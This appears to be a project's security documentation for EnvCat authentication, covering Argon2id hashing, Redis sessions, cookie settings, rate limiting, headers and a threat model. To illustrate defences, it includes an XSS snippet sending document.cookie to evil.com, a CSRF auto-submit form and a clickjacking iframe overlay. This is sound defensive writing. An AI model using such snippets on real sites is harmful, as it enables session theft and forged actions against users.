Authentication Security Model
Deep dive into the security architecture of EnvCat authentication.
Overview
EnvCat authentication is designed for local-first security: credentials never leave your machine, sessions are ephemeral, and industry-standard cryptography protects passwords.
Security priorities:
- Privacy: No external authentication services, no cloud dependencies
- Industry standards: Argon2id hashing (OWASP #1), HTTP-only cookies, SameSite=Lax
- Defense in depth: Rate limiting, account lockout, security headers
- Simplicity: No complex auth flows, no JWT refresh tokens, no OAuth complexity
What we protect against:
- ✅ Brute force attacks (rate limiting, Argon2id)
- ✅ Credential stuffing (account lockout)
- ✅ Session hijacking (HTTP-only cookies, SameSite)
- ✅ CSRF attacks (SameSite=Lax cookies)
- ✅ XSS attacks (HTTP-only cookies, CSP headers)
What we DON'T protect against (out of scope for local-first):
- ❌ Physical access to server (local deployment assumption)
- ❌ Malicious local processes (OS-level security)
- ❌ Network sniffing on local machine (use HTTPS in production)
Password Security
Hashing Algorithm: Argon2id
Why Argon2id:
- Winner of Password Hashing Competition (2015)
- OWASP #1 recommendation (as of 2023)
- Memory-hard: Resists GPU/ASIC attacks
- Side-channel resistant
- Future-proof (algorithm upgrades possible)
Comparison with other algorithms:
| Algorithm | OWASP Rank | GPU Resistant | Memory Cost | Speed | Recommendation |
|---|---|---|---|---|---|
| Argon2id | #1 | ✅ Yes | 64 MB | 200-300ms | Best choice |
| bcrypt | #2 | ❌ No | Low | 100-200ms | Acceptable |
| scrypt | #3 | ✅ Yes | Medium | 200-300ms | Acceptable |
| PBKDF2 | Not ranked | ❌ No | Low | 200-300ms | Legacy only |
Argon2id Configuration
Parameters (OWASP recommended):
time_cost: 2 # Iterations
memory_cost: 65536 # 64 MB (2^16 KB)
parallelism: 1 # Single thread
hash_len: 32 # 32-byte hash
salt_len: 16 # 16-byte salt (automatic)
Hash format:
$argon2id$v=19$m=65536,t=2,p=1$SaltBase64$HashBase64
Example:
$argon2id$v=19$m=65536,t=2,p=1$abcdefghijklmnop$qrstuvwxyz1234567890ABCDEFGHIJ
Components:
argon2id: Algorithm variant (hybrid: side-channel + GPU resistant)v=19: Argon2 versionm=65536: Memory cost (64 MB)t=2: Time cost (2 iterations)p=1: Parallelism (1 thread)SaltBase64: Random salt (16 bytes, base64 encoded)HashBase64: Hash output (32 bytes, base64 encoded)
Security Strength
Brute force resistance:
For a 10-character random password:
- Character space: 62 characters (a-z, A-Z, 0-9)
- Combinations: 62^10 = ~8.4 × 10^17
- Hashing time: ~200ms per attempt
- Time to crack: ~5.3 billion years (single GPU)
For a 16-character password:
- Combinations: 62^16 = ~4.8 × 10^28
- Time to crack: ~3.0 × 10^20 years (single GPU)
GPU farm attack:
- Argon2id requires 64 MB RAM per hash
- Modern GPU: 16 GB RAM = ~250 concurrent hashes
- 100-GPU farm: 25,000 concurrent hashes
- 10-char password: Still 212 million years
Comparison with bcrypt (not memory-hard):
- bcrypt on GPU: 10,000x faster than CPU
- Argon2id on GPU: ~2-3x faster than CPU (memory bottleneck)
- Argon2id is ~3,000x more resistant to GPU attacks
Password Requirements
Enforced:
- ✅ Minimum length: 10 characters
- ✅ Maximum length: 128 characters (prevent DoS)
- ✅ No password in logs or error messages
Not enforced (NIST recommendation):
- ❌ No complexity requirements (no uppercase, numbers, symbols)
- ❌ No periodic password changes
- ❌ No password hints
Why length > complexity:
NIST SP 800-63B (2023) recommends:
"Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types) on memorized secrets."
Reasoning:
- Long passphrases are easier to remember and type
- Complexity rules lead to predictable patterns (
P@ssw0rd1,Password123!) - Length provides exponentially more entropy
Examples:
Weak (8 chars, complex): P@ssw0rd = ~10^14 combinations
Strong (16 chars, simple): thisislongpassword = ~10^28 combinations
Weak: Password123! (common pattern)
Strong: correct-horse-battery-staple (long passphrase)
Strong: myprojectsecurepass2025 (long, meaningful)
Password Storage
Storage location: SQLite database (/data/app.db)
Database schema:
CREATE TABLE users (
id TEXT PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL, -- Argon2id hash (never plaintext)
...
);
Security:
- Passwords are never stored in plaintext
- Passwords are never logged (even hashed)
- Passwords are never transmitted to external services
- Hash is verified in Python process (not in SQL)
Upgradeability:
# Future: Automatically rehash with stronger parameters
if argon2.needs_update(user.password_hash):
new_hash = argon2.hash(plaintext_password)
user.password_hash = new_hash
db.commit()
Session Security
Session Storage: Redis
Why Redis:
- Fast: 1-2ms session validation
- Ephemeral: Auto-cleanup via TTL
- Shared: Works across multiple API containers (future)
- Atomic: Instant invalidation (logout, security events)
Session schema:
Key: constants_session:<session_id>
Value (Flask-Login format):
{
"_permanent": true,
"_user_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"csrf_token": "...", (future)
"created_at": 1697654400,
"last_activity": 1697658000
}
TTL: 86400 seconds (24 hours) or 2592000 seconds (30 days)
Session ID format:
- Length: 32 bytes (256 bits)
- Encoding: URL-safe base64
- Entropy: 2^256 = ~10^77 possible session IDs
- Example:
a1b2c3d4e5f67890abcdef1234567890
Security properties:
- Session IDs are cryptographically random (not sequential)
- Guessing a valid session ID: ~10^77 attempts (impossible)
- Session IDs are single-use after logout (deleted from Redis)
- No session fixation (new session ID on login)
Session Cookies
Cookie configuration:
Cookie-Name: constants_session
Value: <session_id>
HttpOnly: true # JavaScript cannot access
SameSite: Lax # No cross-site requests
Secure: false # Local dev (true for HTTPS)
Path: /
Domain: localhost
Max-Age: 86400 # 24 hours (or 2592000 for "remember me")
Security properties:
| Property | Protection | How It Works |
|---|---|---|
HttpOnly | XSS attacks | JavaScript cannot access cookie (even if attacker injects script) |
SameSite=Lax | CSRF attacks | Cookie not sent on cross-site POST requests (only top-level navigation) |
Secure | Network sniffing | Cookie only sent over HTTPS (production only) |
Path=/ | Path-based attacks | Cookie sent to all paths on domain |
HttpOnly protection (XSS):
// Attacker injects malicious script
<script>
// Try to steal session cookie
const cookie = document.cookie; // Empty! (HttpOnly blocks access)
fetch('https://evil.com/steal?cookie=' + cookie); // No session stolen
</script>
SameSite protection (CSRF):
<!-- Attacker's website: evil.com -->
<form action="http://localhost:8888/api/v1/bundles" method="POST">
<input name="name" value="malicious-bundle">
</form>
<script>document.forms[0].submit();</script>
<!-- Result: Cookie NOT sent (SameSite=Lax blocks cross-site POST) -->
<!-- Attack fails: 401 Unauthorized -->
Session Lifecycle
Creation (login):
- User submits username + password
- Server verifies password (Argon2id)
- Server generates random session ID (32 bytes)
- Server stores session in Redis (TTL = 24h or 30d)
- Server sends session ID in HTTP-only cookie
- Failed login counter reset to 0
Validation (each request):
- Browser sends cookie automatically
- Server extracts session ID from cookie
- Server looks up session in Redis (~1ms)
- If found and not expired: request proceeds
- If not found or expired: redirect to
/login
Renewal (sliding window):
- On each authenticated request, TTL is refreshed
- Session stays alive as long as user is active
- Example: 24-hour session, user active every 12 hours → session never expires
Invalidation (logout):
- User clicks logout button
- Server deletes session from Redis (immediate)
- Server clears cookie (set to empty, Max-Age=0)
- Session ID is now invalid (cannot be reused)
Expiration (TTL):
- User inactive for 24 hours (or 30 days)
- Redis automatically deletes session (TTL expires)
- Next request: session not found → redirect to
/login
Session Security
Threat: Session Hijacking
Attack scenario:
- Attacker steals session cookie (network sniffing, XSS)
- Attacker uses cookie to impersonate user
Mitigations:
- ✅ HTTP-only cookies (XSS can't steal)
- ✅ SameSite=Lax (CSRF protection)
- ✅ Secure flag (HTTPS only, production)
- ✅ Short TTL (24 hours by default)
- ✅ Logout invalidates session (Redis delete)
Residual risk (local deployment):
- ❌ Network sniffing on local machine (HTTP not encrypted)
- ❌ Physical access to server (can read Redis)
Production mitigation:
- Use HTTPS (Secure flag enabled)
- Use VPN or SSH tunnel (encrypted network)
- Firewall rules (restrict access to trusted IPs)
Rate Limiting & Account Protection
Login Rate Limiting
Strategy: Prevent brute force attacks by limiting login attempts per IP.
Configuration:
@limiter.limit("5 per 15 minutes")
def login():
pass
Behavior:
- 5 attempts allowed per 15-minute window
- Window is per IP address
- Counter stored in Redis
- Automatically resets after 15 minutes
Rate limit response:
HTTP 429 Too Many Requests
{
"error": "Too many requests"
}
Headers:
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1697655000 (Unix timestamp)
Rate limit key (Redis):
Key: LIMITER:<ip_address>:/api/v1/auth/login
Value: <attempt_count>
TTL: 900 seconds (15 minutes)
Example timeline:
12:00:00 - Attempt 1 (allowed)
12:01:00 - Attempt 2 (allowed)
12:02:00 - Attempt 3 (allowed)
12:03:00 - Attempt 4 (allowed)
12:04:00 - Attempt 5 (allowed)
12:05:00 - Attempt 6 (rate limited - 429 error)
12:15:01 - Counter resets, attempts allowed again
Bypass prevention:
- IP-based limiting (attacker can't change IP easily on local network)
- Per-route limiting (only login endpoint is limited, not all requests)
- Redis storage (survives API restarts)
Account Lockout
Strategy: Prevent credential stuffing by locking accounts after repeated failures.
Configuration:
# After 10 failed attempts, lock account for 1 hour
if user.failed_login_attempts >= 10:
user.locked_until = datetime.utcnow() + timedelta(hours=1)
Behavior:
- Failed login increments
failed_login_attemptscounter (database) - After 10 failures, account locked for 1 hour
- Locked accounts return
403error (even with correct password) - Successful login resets counter to 0
Database schema:
CREATE TABLE users (
...
failed_login_attempts INTEGER DEFAULT 0,
locked_until DATETIME, -- NULL if not locked
...
);
Lockout response:
HTTP 403 Forbidden
{
"error": "Account locked until 2025-10-18T13:00:00Z"
}
Example timeline:
12:00 PM - Failed attempt 1 (counter = 1)
12:01 PM - Failed attempt 2 (counter = 2)
...
12:09 PM - Failed attempt 10 (counter = 10, locked_until = 1:00 PM)
12:10 PM - Correct password (still locked, error: "Account locked until 1:00 PM")
1:00 PM - Lockout expired, correct password accepted (counter reset to 0)
Manual unlock (advanced):
docker compose exec api python -c "
from db import get_db
from models.user import User
db = next(get_db())
user = db.query(User).filter(User.username == 'admin').first()
user.failed_login_attempts = 0
user.locked_until = None
db.commit()
"
Setup Endpoint Rate Limiting
Why limit setup endpoint:
- Prevent abuse of user creation
- First user should be created once (not repeatedly)
Configuration:
@limiter.limit("3 per hour")
def setup():
pass
Behavior:
- 3 attempts per hour per IP
- Enough for legitimate setup (1-2 attempts)
- Too restrictive for brute force abuse
Security Headers
Headers Applied to All Responses
Configuration:
@app.after_request
def set_security_headers(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-XSS-Protection'] = '1; mode=block'
return response
X-Frame-Options: DENY
Protection: Clickjacking attacks
How it works:
- Prevents page from being embedded in
<iframe> - Attacker cannot overlay transparent iframe to steal clicks
Attack scenario (prevented):
<!-- Attacker's site: evil.com -->
<iframe src="http://localhost:8888/bundles" style="opacity:0.01; position:absolute; top:0; left:0;">
</iframe>
<button style="position:absolute; top:100px; left:200px;">
Click for free Bitcoin!
</button>
<!-- User clicks button, actually clicks "Delete all bundles" in hidden iframe -->
<!-- Result: X-Frame-Options: DENY blocks iframe, attack fails -->
X-Content-Type-Options: nosniff
Protection: MIME-sniffing attacks
How it works:
- Forces browser to respect
Content-Typeheader - Prevents browser from executing files as scripts if MIME type is wrong
Attack scenario (prevented):
Attacker uploads image.jpg (actually contains JavaScript)
Server serves with Content-Type: image/jpeg
Old browsers ignore MIME type and execute as JavaScript
X-Content-Type-Options: nosniff forces browser to treat as image
Attack fails (JavaScript not executed)
X-XSS-Protection: 1; mode=block
Protection: Reflected XSS attacks (legacy)
How it works:
- Enables browser's built-in XSS filter
- Blocks page rendering if XSS is detected
Note: Legacy header (CSP is better), but provides defense-in-depth.
Future Headers (HTTPS)
When HTTPS is enabled (production):
# Strict-Transport-Security (HSTS)
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
# Forces HTTPS for 1 year, includes subdomains
# Content-Security-Policy (CSP)
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; "
"style-src 'self' 'unsafe-inline'; " # Next.js needs inline styles
"img-src 'self' data:; "
"connect-src 'self'"
)
# Restricts script sources, prevents inline script injection
Threat Model
Assets to Protect
- User credentials (passwords)
- Session tokens (session IDs)
- Environment variables (bundles)
- Approval requests (ephemeral)
Threat Actors
| Actor | Access | Motivation | Skill Level |
|---|---|---|---|
| Malicious local user | Same machine | Data theft | Medium |
| Network attacker | Local network | MITM, sniffing | High |
| Malicious software | Browser context | XSS, data theft | Medium |
| Brute force attacker | Remote (if exposed) | Credential guessing | Low-Medium |
Attack Vectors & Mitigations
| Attack | Vector | Mitigation | Residual Risk |
|---|---|---|---|
| Password brute force | Network | Argon2id (200ms), rate limiting (5/15min) | Low |
| Credential stuffing | Network | Account lockout (10 attempts) | Low |
| Session hijacking | Network sniffing | HTTP-only, SameSite cookies; HTTPS (prod) | Medium (local HTTP) |
| CSRF | Malicious site | SameSite=Lax cookies | Low |
| XSS | Malicious script | HTTP-only cookies, CSP headers | Low |
| Clickjacking | Malicious iframe | X-Frame-Options: DENY | Low |
| SQL injection | Malicious input | SQLAlchemy ORM (parameterized queries) | Very Low |
| Physical access | Local server | OS-level security (out of scope) | N/A |
Local-First Security Benefits
Privacy
No cloud storage:
- Credentials never transmitted to external servers
- No third-party to breach
- No subpoenas to comply with
- No privacy policy changes to worry about
Air-gapped capable:
- Works fully offline (no internet required)
- No telemetry or analytics
- No external dependencies
Control
You own the infrastructure:
- Full access to database (SQLite)
- Full access to session storage (Redis)
- Full access to logs
- No vendor lock-in
You set the rules:
- Password policy (configurable)
- Session lifetime (configurable)
- Rate limits (configurable)
Auditability
Open-source:
- Full code visibility (no hidden backdoors)
- Security audit possible
- Community review
Local logs:
- All authentication events logged locally
- No log shipping to third-party
- Grep-friendly (structured JSON)
Compliance & Best Practices
OWASP Top 10 (2021)
Alignment:
| OWASP Category | EnvCat Implementation | Status |
|---|---|---|
| A01: Broken Access Control | Session-based auth, protected routes | ✅ Implemented |
| A02: Cryptographic Failures | Argon2id hashing, HTTP-only cookies | ✅ Implemented |
| A03: Injection | SQLAlchemy ORM (parameterized) | ✅ Implemented |
| A04: Insecure Design | Rate limiting, account lockout | ✅ Implemented |
| A05: Security Misconfiguration | Security headers, sane defaults | ✅ Implemented |
| A07: Identification & Auth Failures | Strong hashing, session management | ✅ Implemented |
NIST SP 800-63B (Password Guidelines)
Compliance:
| Guideline | EnvCat Implementation | Status |
|---|---|---|
| Minimum 8 characters | 10-character minimum | ✅ Exceeds |
| No complexity requirements | No uppercase/number/symbol rules | ✅ Compliant |
| Check against breach lists | Not implemented (future) | ⚠️ Planned |
| No password hints | Not implemented | ✅ Compliant |
| No periodic changes | Not enforced | ✅ Compliant |
Logging Best Practices
What we log:
- ✅ Login attempts (success/failure)
- ✅ Logout events
- ✅ Account lockouts
- ✅ Rate limit hits
- ✅ Session creation/invalidation
What we DON'T log:
- ❌ Passwords (plaintext or hashed)
- ❌ Session tokens
- ❌ Environment variable values
- ❌ Personal information
Log format (structured JSON):
{
"timestamp": "2025-10-18T12:34:56Z",
"level": "INFO",
"event": "login_success",
"user_id": "a1b2c3d4-...",
"username": "admin",
"ip": "192.168.1.100"
}
Trade-offs & Limitations
What We Give Up (Local-First)
| Feature | Cloud (Doppler) | EnvCat (Local) |
|---|---|---|
| Password reset | Email-based | Manual (SQLite edit) |
| Multi-device sessions | Synced | Independent (per machine) |
| Availability | 99.9% SLA | Self-managed (your responsibility) |
| Backup | Automatic | Manual (your responsibility) |
| Updates | Automatic | Manual (docker compose pull) |
What We Gain (Local-First)
| Benefit | Cloud (Doppler) | EnvCat (Local) |
|---|---|---|
| Privacy | Trust third-party | Zero third-party risk |
| Cost | $21/user/month | $0 forever |
| Control | Vendor rules | Your rules |
| Compliance | Third-party data | Local data (easier compliance) |
| Air-gapped | Not possible | Fully supported |
See Also
- API Reference: Authentication - Complete API documentation
- Getting Started: Authentication Setup - Setup guide
- Guides: Authentication Workflows - Code examples